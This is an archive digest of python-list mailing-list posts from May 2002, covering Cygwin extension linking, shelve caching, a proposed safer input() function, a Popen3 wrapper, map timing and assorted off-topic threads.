Rick, On Sat, May 04, 2002 at 10:39:16AM -0700, Richard P. Muller wrote: > I'm having trouble creating Python modules from C under Cygwin. The > process works fine under Linux, but I get a long list of undefined > references (to PyArg_ParseTuple, PyArg_BuildValue, etc.) when I try to > link under Cygwin. Are you using the Cygwin Python that is part of the standard Cygwin distribution? Or, one that you built yourself? The following assumes the former. > I found a reference in an archive of a Cygwin mailing list that claims I > have to satisfy all of the undefined references under Cygwin. But it > seems silly to link in the entire Python library in a tiny little > module. I don't believe that the above implies linking the "entire Python library." Instead one just needs to link against the import library that corresponds to the Cygwin Python DLL core. This is exactly how it works for Win32 Python and other Windows DLLs too. > This must work on some level, since people have managed to compile, for > example, NumPy under Cygwin. Yes, it does and for many, many other shared extensions too. > Am I missing something here Yes. > or railing against the impossible? No. > Can someone give me pointers? Yes, use Distutils to build your shared extension. If you use this method, then the "right things" will happen automatically. Otherwise, you need to do the following when building your shared extension: 1. during compilation specify -DUSE_DL_IMPORT 2. during linking specify -L/usr/lib/python2.2/config -lpython2.2 Jason From jajvirta at cc.helsinki.fi Wed May 22 15:22:03 2002 From: jajvirta at cc.helsinki.fi (Jarno J Virtanen) Date: 22 May 2002 19:22:03 GMT Subject: Question on using import in idle while developing a module References: Message-ID: Wed, 22 May 2002 12:59:24 -0500 Michael Bauers wrote: > I was trying to test my module by re-importing it after making changes. It > would not alwys detect my changes. Is there a trick to making this work? [I'm not sure whether this is your issue, but ..] why not check the FAQ? http://www.python.org/cgi-bin/faqw.py?req=show&file=faq04.008.htp hope it helps, jarno From jepler at unpythonic.net Thu May 30 08:38:20 2002 From: jepler at unpythonic.net (jepler at unpythonic.net) Date: Thu, 30 May 2002 07:38:20 -0500 Subject: New (?) suggestion re: 'while x = f(): ...' In-Reply-To: References: Message-ID: <20020530073816.A1436@unpythonic.net> On Thu, May 30, 2002 at 08:19:22AM +0000, Duncan Booth wrote: > Jeff Epler wrote in > news:mailman.1022680666.24622.python-list at python.org: > > >> 'H' is spelled 'iter' and already exists. > > > > Not quite -- H will stop on "any false value", while iter(f, "") will > > stop on a single value. > > I think this is similar to the difference between except with a specific > exception, and except to catch any exception. The normal case should be to > know what the termination condition is. (Explicit is better than implicit.) What do you write when f returns "an empty sequence" (but you don't care to concern yourself whether it's tuple, list, UserList, string, ...)? However, maybe the following class can be used in this kind of situation: class Z: def __eq__(self, other): return not other >>> l = [1, 0, 2, 3, 4] >>> list(iter(l.pop, Z())) [4, 3, 2] If only I was confident in the new set of rules for determining (in)equality with the new methods... I have the impression that as long as the item returned from the function is NotImplemented for comparison with instances of Z (and why would it be?), Z.__eq__ will be called each trip through the loop. Jeff From loewis at informatik.hu-berlin.de Wed May 8 09:53:02 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 08 May 2002 15:53:02 +0200 Subject: Exception handling References: Message-ID: Philip Swartzleonard writes: > Hm, you can't 'raise 5' or anything? Or anything derived from object? > That's kind of wierd. No, exceptions must be class instances. Regards, Martin From aleax at aleax.it Tue May 7 18:30:42 2002 From: aleax at aleax.it (Alex Martelli) Date: Tue, 07 May 2002 22:30:42 GMT Subject: survey: is shelve broken? should it be fixed? References: Message-ID: Bjorn Pettersen wrote: >> From: Alex Martelli [mailto:aleax at aleax.it] >> >> On Tuesday 07 May 2002 21:28, Bjorn Pettersen wrote: >>> [snip, must work with nested objects] >> >> That's what I see using my patch (corrected for a bug after I >> posted it to sf): > > Ok, I looked at the patch. Looks pretty straight forward. The only thing > that remains is to rename the smart argument to something more > descriptive (my personal favorite is 'autoUpdate'), and setting the > default equal to False instead of 0 . There are also other defects to fix. One is in __setitem__ (where, in the patch, I put the wrong value in the cache!), but that's easy to fix. The performance (and correctness, when the shelf file is read-only) of writing back all the data that was read is more of a problem. The correctness part is easy to fix. The performance isn't. In some cases, it might be faster to keep around the original picked string and only write it back if changed; it might be faster if some (several...) values could be diagnosed as immutable and the whole mechanism bypassed. In other words, the totally straightforward approach may well not be the best implementation of this functionality, if shelves' performance (and memory consumption) can be important (and they well may be). But it seems to me that deciding whether the functionality itself is desired, and maybe also how precisely to present it to the programmer, has precedence over finding the best implementation. It was basically to try to determine the first point that I posted this survey, and so far it would appear to me that the consensus is mildly favorable (despite the rather unfavorable reception this group often gives any non-backwards-compatible change). Alex From aleax at aleax.it Sat May 11 13:25:15 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 11 May 2002 17:25:15 GMT Subject: path.startswith(dir)? References: Message-ID: <%tcD8.47814$zW3.603397@news1.tin.it> Magnus Lie Hetland wrote: ... > from os.path import * > > or something to the top... And perhaps take a look at the question > again? ;) > > (Sorry for not being absolutely clear about this -- the os.path part > was just so obvious to me.) I'd be a happier man if "from bletch import *" just magically disappeared, and so would other Pythonistas, including those who'd most rant and rave about how indispensable it truly is (i.e., those most addicted to its [ab]use). Each time you get the urge to code "from bah import *", think again. You're better off not doing it. Really. Alex From Gareth.McCaughan at pobox.com Wed May 8 21:56:51 2002 From: Gareth.McCaughan at pobox.com (Gareth McCaughan) Date: Thu, 9 May 2002 02:56:51 +0100 Subject: "a better input" References: Message-ID: Alex Martelli wrote: [I said:] > >> To expand: we could really do with something that lets the user > >> enter "46" or "0x1234" or "'walrus'" or "-2+6j" or "[1,'a',{3:4}]" > >> and returns the same as |input| does for those, but that doesn't > >> permit "f(123)" or "2**2002" or "[x for x in [1,2,3]]". > > You'll have to pin that down more closely, as I can't see any > easily definable difference between operators used as in: > -2+6j > and operators used as in: > 2**6 > yet apparently you want to allow the former but forbid the latter > (why? what is gained in forcing people to do this in their head?). I don't actually mind if an input() replacement evaluates 2+3. I do mind if it is able to do arbitrary computation, where "arbitrary" is fuzzily defined to cover things like 1 anything that could take a large amount of time or memory to compute; (rationale: we don't want to facilitate DoS attacks; users will find it counterintuitive if what they think of as reading a value can consume unbounded resources.) 2 anything that could compromise security if an attacker were allowed to decide what got read by input(); (rationale: obvious.) 3 anything that can't be explained quite accurately and quite quickly to a non-expert. (rationale: whatever input() does, we want to be able to explain it; one of Python's big attractions is that it's easy for beginners to get their heads round.) In some sense, we want read() to be able to read "literals" of any type. Unfortunately, lots of things that *look* like literals aren't; for instance, -4 and [1,2,3]. For the most part, Python users can ignore this and pretend -4 and [1,2,3] are literals, though they may occasionally get confused if they expect *identity* between (say) different instances of [1,2,3] created by the same code.[1] I think { real, honest Python literals } is too narrow a category to allow for the results of new input(). In some other dynamic languages -- Common Lisp, for instance -- there's a sharper distinction (sharper from the user's point of view, I mean) between reading and evaluating; the READ function will read a single object but not do any evaluating. Well, almost. There is an evil way to make evaluation happen at read time, but you can arrange for them to be forbidden. In fact, a fairly decent idea of what I think a sane input() would be able to do is: Roughly the same as READ in Common Lisp when you have *READ-EVAL* bound to NIL. I don't expect that to be easy to do in Python. I used the term "compromise security" above, and left it undefined. I mean, for instance, that input() shouldn't try to evaluate "2**(2**100)" in case that runs out of memory and crashes the program; nor to evaluate "x" in case that leaks information (the value of x) into what's thought to be a safe place (the thing the user just typed in), possibly exposing what ought to be kept secred; nor to evaluate "f(123)" in case the function "f" does something the user oughtn't to be able to provoke. I am still leaving "compromise security" undefined, because I am not a security expert and if I try to pin it down I might leave some loopholes. > To me, it seems that taking the input string and applying restricted > evaluation (carefully pruning what builtins we want to allow or > disallow -- indeed perhaps _enriching_ the set of normal builtins > with e.g. functions from math...) would be satisfactory. But that > wouldn't meet your examples -- not only 2**22, but also list > comprehensions would then surely be allowed. I have difficulty seeing how that can be done without incurring most of the disadvantages of input(). > If you can give better specs of what you want to allow and disallow > (and ideally WHY...) then we may think about implementation (e.g. > by compiling then perusing the bytecodes to see if anything that > must not be allowed has slipped in). Does the above help? [1] In practice, I believe this mistake is rare. The opposite mistake is commoner, as e.g. in the following usually-wrong construction: def f(x,y,z=[]): ... [stuff] ... -- Gareth McCaughan Gareth.McCaughan at pobox.com .sig under construc From noah at noah.org Thu May 2 14:55:56 2002 From: noah at noah.org (Noah) Date: Thu, 2 May 2002 11:55:56 -0700 Subject: SNIP IT: Popen3 in a non-heinous wrapper In-Reply-To: <63604d2.0205020833.5ef78d9a@posting.google.com> Message-ID: This is interesting. I'm working on something similar now. Your open issue with the child app being required to flush early and often is likely to remain an issue. I had the same problem when I first tried to do this with pipes. I learned from the helpful people on this list and from my own reading that applications that use the Standard IO library will likely get hung on a pipe. man -s 3 stdio The Standard IO library has three states for a FILE *. These are: _IOFBF for block buffered; _IOLBF for line buffered; and _IONBF for unbuffered. The STDIO lib will use block buffering when talking to a block file descriptor such as a pipe. This is usually not helpful for interactive programs. The program may have put data in its output that remains unflushed because the output buffer is not full; then the program will go and deadlock while waiting for input -- because you never send it any because you are still waiting for its output (still stuck in the STDIO's output buffer). The "answer" is to use a pseudo-tty. A TTY device will force *line* buffering (as opposed to block buffering). Line buffering means that you will get each line when the child program sends a line feed. This corresponds to the way most interactive programs operate -- send a line of output then wait for a line of input. I put "answer" in quotes because it's ugly solution and because there is no POSIX standard for pseudo-TTY devices (even though they have a TTY standard...). What would make more sense to me would be to have some way to set a mode on a file descriptor so that it will tell the STDIO to be line-buffered. I have investigated, and I don't think there is a way to set the buffered state of a child process. The STDIO Library does not maintain any external state in the kernel or whatnot, so I don't think there is any way for you to alter it. I'm not quite sure how this line-buffered/block-buffered state change happens internally in the STDIO library. I think the STDIO lib looks at the file descriptor and decides to change behavior based on whether it's a TTY or a block file (see isatty()). I hope that this qualifies as helpful. Yours, Noah -----Original Message----- From: python-list-admin at python.org [mailto:python-list-admin at python.org]On Behalf Of Phlip Sent: Thursday, May 02, 2002 9:34 AM To: python-list at python.org Subject: SNIP IT: Popen3 in a non-heinous wrapper Not Hyp: Despite the copious and well-consolidated documentation on the subject, I have assembled a single, coherent wrapper for Popen3 that hides the cluster of functions one must call to beat use out of it. Find it below my sig. Remember that the app it calls must call "flush" early and often; this is an open issue. Reviews & upgrades welcome. -- Phlip http://www.c2.com/cgi/wiki?PhlIp -- Argue for your and sure enough, they'r yours -- import popen2 from fcntl import fcntl, F_SETFL from select import select def Piper(command, outputSink, errorSink): proc = popen2.Popen3(command, capturestderr = 1) O_NONBLOCK = 04000 fcntl(proc.tochild.fileno(), F_SETFL, O_NONBLOCK) fcntl(proc.fromchild.fileno(), F_SETFL, O_NONBLOCK) fcntl(proc.childerr.fileno(), F_SETFL, O_NONBLOCK) while 1: w = [] selectables = [proc.childerr, proc.fromchild] r, w, e = select(selectables, w, selectables) for i in r + e: if i == proc.childerr: err = proc.childerr.read() if err: errorSink(err) if i == proc.fromchild: all = proc.fromchild.read() if all: outputSink(all) got = proc.poll() if got != -1: break return got if __name__ == '__main__': def outputSink(output): print output def errorSink(error): print '***********************', error Piper( 'ls . ; ls non_existent_folder ; ls .', outputSink, errorSink, ) From rdacker at pacbell.net Thu May 2 13:57:11 2002 From: rdacker at pacbell.net (rdack) Date: 2 May 2002 10:57:11 -0700 Subject: module access Message-ID: <644f6688.0205020957.783efdea@posting.google.com> i am in a directory (call it dira) where i call a method in a file in a subdirectory (call it dirb). dirb has __init__.py file in it. in file 1 I go: from dirb import fileb fileb.meth_in_fileb fine. but i have a link in fileb that wants to go to another file in dirb. it doesn't work unless i use dirb as a prefix to the path. python thinks it is still in dira. so i have link with 'dirb/filec.py' fine. then if i call the method in fileb again from within the module (say from filec), that link doesn't work. python now thinks it is dirb and the prefix in the link messes it up. what do i need to do? From shagshag13 at yahoo.fr Tue May 28 10:18:38 2002 From: shagshag13 at yahoo.fr (Shagshag13) Date: Tue, 28 May 2002 16:18:38 +0200 Subject: Another stupid question... Message-ID: Well i don't know why but i can't use up and downs key in python prompt line (>>>) I had the same trouble for erase key but after adding : stty erase "^H" in .bashrc, it works fine. But i still don't know how to do it for up key (i get ^[[A) and down key (^[[B) Thanks in advance, S13. From dkt at registriesltd.com.au Tue May 21 19:47:07 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Wed, 22 May 2002 09:47:07 +1000 Subject: OT: The sun shines out of big business In-Reply-To: <3CE9FF2F.DD6CF828@cascade-sys.com>; from jb@cascade-sys.com on Tue, May 21, 2002 at 01:02:55AM -0700 References: <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> <838z6epblf.fsf@panacea.canonical.org> <3CE9BC7F.A3565ADE@tundraware.com> <3CE9C990.3064C01C@cascade-sys.com> <20020521143354.Q4474@regdp-02.intint.registriesltd.com.au> <3CE9FF2F.DD6CF828@cascade-sys.com> Message-ID: <20020522094707.Y4474@regdp-02.intint.registriesltd.com.au> Hi James, Thanks for your detailed reply. As this is OT, however, I will be brief. Suffice it to say I don't agree with anything you said, though I make a couple of specific notes below. On Tuesday 2002-05-21 at 01:02:55 -0700, James J. Besemer wrote: > Nothing in my reply was intended to specifically criticize your post. In Well, that's good. Nothing in my post was meant to suggest you were referring to me in particular. > I merely felt compelled to praise Tim's, mainly because he did argue at > length why the contrary views are short sighted and (IMHO) child-like. > Furthermore, I found it a refreshing change of pace from the MS ankle > biting that is so prevalent here. Oh, yes, I fully see your point! I also find it immensely refreshing to read about the US energy war in Afghanistan. It makes such a change from the anti-terrorist propaganda one hears all the time. Perhaps George Dubya and his oil cronies should just cut right through it all and tell people like it is. It's not at all as if big business is killing, torturing and starving thousands or millions of innocent men, women and children. It's not like that at all. In fact, it would be libelous even to think it. David Trudgett From michael+usenet at dynamine.net Thu May 16 21:19:59 2002 From: michael+usenet at dynamine.net (Michael S. Fischer) Date: Fri, 17 May 2002 01:19:59 -0000 Subject: Stupid string formatting question Message-ID: Why can't I do this? def foo(x): # Do some operations on x yielding a and b return a, b print "a = %s, b = %s" % (foo(x)) It seems counter-intuitive that although foo is defined to return a 2-item tuple, the interpreter just doesn't get it. -- Michael S. Fischer / michael at dynamine.net / +1 650-533-4684 Lead Hacketeer, Dynamine Consulting, Silicon Valley, CA From jb at cascade-sys.com Wed May 8 05:37:02 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Wed, 08 May 2002 02:37:02 -0700 Subject: Has Red Hat helped or hurt? References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> Message-ID: <3CD8F1BE.8BC33F2E@cascade-sys.com> Tim Roberts wrote: > However, it makes it deucedly difficult to upgrade away from 1.52. If one > upgrades /usr/bin/python to be 2.x, all of Red Hat's custom configuration > scripts are no longer found in site-packages. Not having 1.52 the standard breaks a lot of stuff. I could not get the latest Mailman to install with "python=python1.2". All sorts of "impossible" errors. Took me a hell of a long time to figure out it was chaning the python default that caused all the problems. > Do you install Python 2.x into a > separate directory and grumble every time you have to change the #! line in > your scripts? Yup. I have separate complete installations of 1.5, 2.0 and now 2.1 and explicitly refer to them. It sucks but as rapidly as new releases come out I don't see a better way. I guess you only have to maintain your own scripts pointing to the current release and whatever Linux wants. The intermediate ones can be gotten rid of if/when you know they're no longer needed. If it's just YOU -- that is your own private scripts not ones you make generally available, you can setup your path to grab the proper version of python. Then log in as somebody else to run the Linux sys admin stuff. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From jblazi at hotmail.com Thu May 23 02:39:21 2002 From: jblazi at hotmail.com (jb) Date: Thu, 23 May 2002 08:39:21 +0200 Subject: Executing a system command References: <3cec0fa1_1@news2.newsgroups.com> Message-ID: <3cec8c79_1@goliath2.newsgroups.com> Chris Liechti wrote: > jb wrote in news:3cec0fa1_1 at news2.newsgroups.com: > >> I should like to execute the bash command >> >> (cd prefix;latex file.tex;dvips file) >> >> Can I do that with the os.system function? > > i think you can. > >>It seems I am having diffculties with that. > > then descibe that problem so that we can help :-) I create the Latex source and when I want to compile it the Latex compilation stops and an asteriks appears on the screen: xxx xxxxxx * But the latex file seems to be in order and when I do the same procedure from bash, everything is in order. When I execute the same command from Python, that is I have os.system('(cd ...)') the compilation stops. -- Janos Blazi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsfeed.Com - Uncensored Usenet News ==---------- http://www.newsfeed.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =----- From lac at strakt.com Wed May 8 12:15:32 2002 From: lac at strakt.com (Laura Creighton) Date: Wed, 08 May 2002 18:15:32 +0200 Subject: article: MS in Peruvian open-source nightmare In-Reply-To: Message from Chris Liechti of "07 May 2002 01:20:47 +0200." References: Message-ID: <200205081615.g48GFWjX025172@ratthing-b246.strakt.com> > a peruvian congressman answers to letter form MS. > > its an long, but interesting read in favor of open source (hi Oleg ;-). > i post this note here because GvR is metioned along with RMS, Linus and > others. > > here's the article from "The Register" (found on "/."): > http://www.theregister.co.uk/content/4/25157.html > > chris > > -- > Chris Thank you very much for posting this Chris. I don't have to write the 'why do I want a world in which the right to close source your program is greeted with the same sort of horror as the right to sell your children into slavery' article. The Peruvian legislator David Villanueva Nu?ez has done a better job than I could. I think that this is pretty straight forward, and written well, as one might expect from a famous Poet. But if anybody wants 'marginal aggregate value' and the like explained to them, post away and I will get to it. Laura Creighton From victorbonzalvious at yahoo.com Fri May 17 12:33:17 2002 From: victorbonzalvious at yahoo.com (victor) Date: 17 May 2002 09:33:17 -0700 Subject: Unveiling the New User Group - Sybase Message-ID: <3d5107a2.0205170833.620ecd7b@posting.google.com> Hi Sybase, a site focused solely on Sybase. Please feel free to visit our site at http://www.techieindex.com/Sybase for further information We invite any comments, questions or arguments that you might have during your tour of the site by posting it directly in the site or emailing us at victorbonzalvious at yahoo.com From rjroy at takingcontrol.com Thu May 2 18:35:27 2002 From: rjroy at takingcontrol.com (Robert Roy) Date: Thu, 02 May 2002 22:35:27 GMT Subject: Killing a running thread References: <5F5E25C9F098D3119F140008C784457304DFD0D1@tdi_nt9.tdi.co.uk> <20020502131214.GI13641@teich.Garten.DigitalProjects.com> <20020502100911.A16352@eecs.tufts.edu> <20020502144016.GA16810@teich.Garten.DigitalProjects.com> <20020502150017.B25531@eecs.tufts.edu> Message-ID: <3cd1ba80.1291954437@news1.on.sympatico.ca> On Thu, 2 May 2002 19:21:58 +0000, Alexander Skwar wrote: >=BBMichael Gilfix=AB sagte am 2002-05-02 um 15:00:17 -0400 : >> Just write your own map that's threadable, i.e, applies a function >> to each argument in the list and appends it. Should be trivial to >> write and you can check the threaded argument. > >Wouldn't this be way slower than the built in map? > It will be slower, but whether or not it makes a difference in the grand scheme of things depends on what you are doing in the loop. For instance if your function is doing something like x +=1 then map will be a timesaver. But if you are applying a big complicated regular expression to each item in the list, perhaps the overhead of an explicit loop is acceptable. For instance in the following code: 1 000 000 iterations # apply the regular expression bash-2.02$ python loops.py 25.6745684658 25.2741594343 # pass bash-2.02$ python loops.py 3.78650498092 2.29407697603 arg += 1 bash-2.02$ python loops.py 4.3369769461 3.22872198139 ####### If I perform a complex operation, the loop overhead is negligible. This is where you have to make the design tradeoff. Is it worth 2 extra seconds on a full run to be able to break out of the loop cleanly? import time import re r = re.compile('aabb') l = range(1000000) def test(arg): r.findall('passababababbababababbbbbabaababaaaaababbabababaaaababbabababababababaaaaabbb') # pass # arg += 1 start = time.clock() for item in l: test(item) end = time.clock() print end-start accum = 0 start = time.clock() map(test, l) end = time.clock() print end-start From mgilfix at eecs.tufts.edu Wed May 8 14:24:53 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Wed, 8 May 2002 14:24:53 -0400 Subject: no buffer space available error In-Reply-To: ; from s.thuriez@laposte.net on Wed, May 08, 2002 at 10:42:51AM -0700 References: Message-ID: <20020508142453.B27673@eecs.tufts.edu> Can you post some more code? I'm having a hard time figuring out just what your problem (what are you doing before) and can you post the trace? -- Mike On Wed, May 08 @ 10:42, sebastien wrote: > Hi, > > I am trying a program that scan all the machines in the network that are ftp server. > After about 50 to 100 scan, I get the message : > > no buffer space available. > > import timeoutsocket > timeoutsocket.setDefaultSocketTimeout(5) > BUFSIZE = 1024 > FTP_PORT = 21 > FTP_DATA_PORT = FTP_PORT - 1 > FTP_DATA_PORT = FTP_DATA_PORT + 50000 > > s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) > s.setblocking(0) > > try : > s.connect((hostname,FTP_PORT)) > except socket.error, why : > print 'cannot connect...',why[1] > > > This is embedded in a function and I pass the hostname that I want to be tested. > > > What do I do wrong ? As I get the message can I flush the buffer ? > I am running python 2.1.1 on Windows Me and NT. > > Regards, > Sebastien. > -- > http://mail.python.org/mailman/listinfo/python-list `-> (s.thuriez) -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From look at replyto.address.invalid Mon May 27 00:53:23 2002 From: look at replyto.address.invalid (Greg Ewing) Date: Mon, 27 May 2002 16:53:23 +1200 Subject: Oberon in Python, ala Pyrex but instant compile? References: <3ce11bc3_4@goliath.newsgroups.com> <83k7ptkt6h.fsf@panacea.canonical.org> Message-ID: <3CF1BBC3.359CF230@replyto.address.invalid> Janto Dreijer wrote: > > obj.SomeStringValue := GetA; (* bind handler *) > > ... > > Out.String(obj.SomeStringValue(obj)); You had to do things like that in early versions of Oberon, but not in more recent versions. It's a while since I looked at it, but if I remember rightly, you do something like PROCEDURE (obj: Obj) SomeStringValue: String; ... which declares a real honest-to-goodness method that you can call with obj.SomeStringValue() i.e. no need to pass in the obj. > TYPE String = ARRAY 1024 OF CHAR; > PROCEDURE f() : String; > BEGIN > RETURN "abc"; > END f; > > This is one of the classic cases where the compiler crashes. That sounds like a compiler bug, which you can hardly blame on the language. But I think the main reason for passing things like strings back in VAR parameters is so they can be declared as ARRAY OF CHAR and so avoid coding in any fixed limit on the size. I believe you can also have POINTER TO ARRAY OF CHAR for heap-allocated variable-sized strings. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From jb at cascade-sys.com Fri May 17 17:42:00 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 17 May 2002 14:42:00 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> Message-ID: <3CE57928.4511DC6C@cascade-sys.com> Erik Max Francis wrote: > "Denis S. Otkidach" wrote: > > ? There are still unresolved issues. E.g. should set object be > ? hashable? Somebody wish sets of sets or set as dict key that > ? require set to be hashable. > > I would say yes, a set should require an immutable object, for the same > reason that a dictionary key should. You couldn't have dictionaries > themselves as dictionary keys, and nobody seems to have a problem with > that. Actually Denis seemed to be suggesting that sets themselves should be immutable so they could Serve as dictionary keys. I think it's very plausable that sets would be used in this manner.. > I'm envisioning an implementation which behaves much like a dictionary, > with the elements of the set as keys, and with dummy values. What's > wrong with that? So long as the result would be immutable and usable as a dictionary key it would probably work ok. --jb > -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From rob Fri May 24 16:08:57 2002 From: rob (Rob Andrews) Date: Fri, 24 May 2002 20:08:57 GMT Subject: article on Python modules: critique? References: <13285ea2.0205241137.5c24d72d@posting.google.com> Message-ID: joost_jacob at hotmail.com (J.Jacob) wrote in news:13285ea2.0205241137.5c24d72d at posting.google.com: > Ahh the useless site is going to be active again? > great ! > Yes, I've finally recovered from my illness and am catching up on the contributions and such that piled up. Thanks for the enthusiastic response, Rob http://uselesspython.com From gerhard at bigfoot.de Fri May 10 14:35:42 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Fri, 10 May 2002 20:35:42 +0200 Subject: get/set In-Reply-To: References: <20020510192720.0823ed15.wilk@flibuste.net> Message-ID: <20020510183542.GA2188@lilith.my-fqdn.de> * Steve Holden [2002-05-10 13:46 -0400]: > "William Dode" wrote in message > news:20020510192720.0823ed15.wilk at flibuste.net... > > Le Fri, 10 May 2002 12:03:53 -0500 > > "Mark McEahern" ?crivait: > > > > [property explanation] > > it means that if i want to keep working with python 2.1 i need to use my > > own get/set method ? > > > [property code] > > Not at all: the bahavior Mark explains is only implemented when the class > derives from "object" - a so-called "new-style" class. If there is no such > derivaqtion ("classic" classes) then the behavior is just as it's always > been. But trying to derive from object or using 'property' will only lead to NameErrors in older Pythons. So code using the new features simply won't work. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From aleax at aleax.it Wed May 1 03:43:10 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 01 May 2002 07:43:10 GMT Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> Message-ID: James J. Besemer wrote: ... > based on your description, this "ista" suffix seems to be a rather complex > and subtle idiom that > you admit even confuses you sometimes. I suspect most non-Spanish > speaking people, Americans or otherwise, would be ignorant of most of this > nuance. An '-ista' suffix is just as common in Italian as in Spanish. The Italian equivalent for most English words with an '-ist' suffix has it: egoista, altruista, idealista, imperialista. (Not *all* -- we don't say 'scientista', 'chimista', 'fisicista', but rather 'scienziato', 'chimico', 'fisico'). Plus, we use it for many words related to jobs (a few also have '-ist' in English, e.g. 'dentista'): tassista is a taxi driver, fiorista a seller of flowers, barista a bartender. It's so widely use (and the exceptions so appearingly random -- I have no idea "why" 'farmacista' is a common word but 'biologista' doesn't exist and 'biologo' is used instead) that it's hard to define "the nuance". I suspect each variety of Spanish has similar issues. Anyway, just wanted to point out that a LOT of 'non-Spanish speaking people' have their own connotations for the '-ista' suffix -- at least all Italian-speaking ones (and I think Portuguese-speakers too -- isn't "Paulista" somebody from the city of Sao Paulo, Brazil?). Alex From shagshag13 at yahoo.fr Mon May 6 03:34:13 2002 From: shagshag13 at yahoo.fr (Shagshag) Date: 6 May 2002 00:34:13 -0700 Subject: Need help... Message-ID: <409a56e2.0205052334.77d409f2@posting.google.com> Hello (sorry for my poor english) I need to build some kind of python object(s) which could handle these : having three keys a, b, c i have to define all possible "couples keys" (a, b) -> v1 -> v2 (a, c) -> v3 -> v5 -> v8 (b, c) -> v1 -> v4 (a, b, c) -> v2 -> v4 -> v7 where -> stand for something like a linked list. and i must be able to retrieve (a, b) with (b, a), (a, c) with (c, a) and (a, b, c) with (a, c, b), (c, a, b), (b, a, c) or any combination of the three... i can have couples of 2, 3, 4, or more keys... In fact i have more than a thousand possible couples and the linked list might be quite long... Does anyone has a clue ??? Huge thanks in advance. From kragen at pobox.com Tue May 14 12:56:08 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 14 May 2002 12:56:08 -0400 Subject: Simple question about how the optimizer works References: <83u1pbicuf.fsf@panacea.canonical.org> Message-ID: <83y9embrdj.fsf@panacea.canonical.org> Tim Roberts writes: > Kragen Sitaker wrote: > >Simon Brunning writes: > >> I can't see how this optimisation could be automated - function f may or may > >> not have side effects. > > > >Checking whether f has side effects can be automated. > > Can it? Isn't that a variant of the Turing stopping problem? Yes, which is not insoluble if you're willing to accept some errors in one direction or the other. It is possible to prove that some programs will terminate or have no side effects. From spenrose at intersight.com Wed May 22 14:16:18 2002 From: spenrose at intersight.com (Sam Penrose) Date: Wed, 22 May 2002 11:16:18 -0700 Subject: Gadfly: single-quote in varchar? In-Reply-To: Message-ID: <02A868B5-6DB0-11D6-8804-003065B33450@intersight.com> Bill was right. Sigh. Thanks, Bill. MySQL-never-had-this-problem-ly, s On Wednesday, May 22, 2002, at 10:59 AM, Scherer, Bill wrote: > > > On Wed, 22 May 2002, Sam Penrose wrote: > >> I cannot get Gadfly to INSERT a string containing a single-quote (') >> into a VARCHAR field. Gadfly appears to insist that strings passed to >> its parsing framework be delimited with single quotes: > > In Oracle anyway, one proper way of doing this is to double the > single quote, eg: > cursor.execute("INSERT INTO t (Description) VALUES ('alpha''s > before beta')") > > I don't know how Gadfly will react to that, but it wasn't in your > list of tried-out-things, so give it a go. > > >> >>>>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha')") >> NOT >>>>> cursor.execute('INSERT INTO t (Description) VALUES ("alpha")') >> >> which may or may not be connected, (and rules out the obvious 'INSERT >> INTO t (Description) VALUES ("alpha's before beta")') but at any rate >> no >> variation on >> >>>>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha\'s before >> beta')") >>>>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha\\'s >> before beta')") >>>>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha\\\'s >> before beta')") >> >> seems to work, although some fail silently, neither raising an error or >> inserting the row. Description has been defined as a VARCHAR field and >> happily accepts strings with other punctuation, including >> double-quotes. >> Anyone know if this is a Gadfly constraint, or notice some dunderheaded >> mistake I'm making? >> >> Gadfly 1.0.0rc1, Unix python 2.2 on Mac OS X. >> >> TIA, >> Sam >> >> >> >> > > -- > Bill.Scherer at Verizon Wireless > RHCE 807101044903581 > > From mwh at python.net Thu May 23 06:33:32 2002 From: mwh at python.net (Michael Hudson) Date: Thu, 23 May 2002 10:33:32 GMT Subject: 2**HUGENUMBER Why not optimise it? References: Message-ID: "Mike C. Fletcher" writes: > Maybe I'll just give up on trying to interest people in Python > optimisation challenges. The good-old days of idle speculation and > optimisation are dead. Time to stop living in the past. Idea > dropped, back to boring GUI work. Do you feel like implementing Karatsuba multiplication in longobject.c? That might actually be some use... Cheers, M. -- GET *BONK* BACK *BONK* IN *BONK* THERE *BONK* -- Naich using the troll hammer in cam.misc From pinard at iro.umontreal.ca Wed May 29 18:48:15 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 29 May 2002 18:48:15 -0400 Subject: 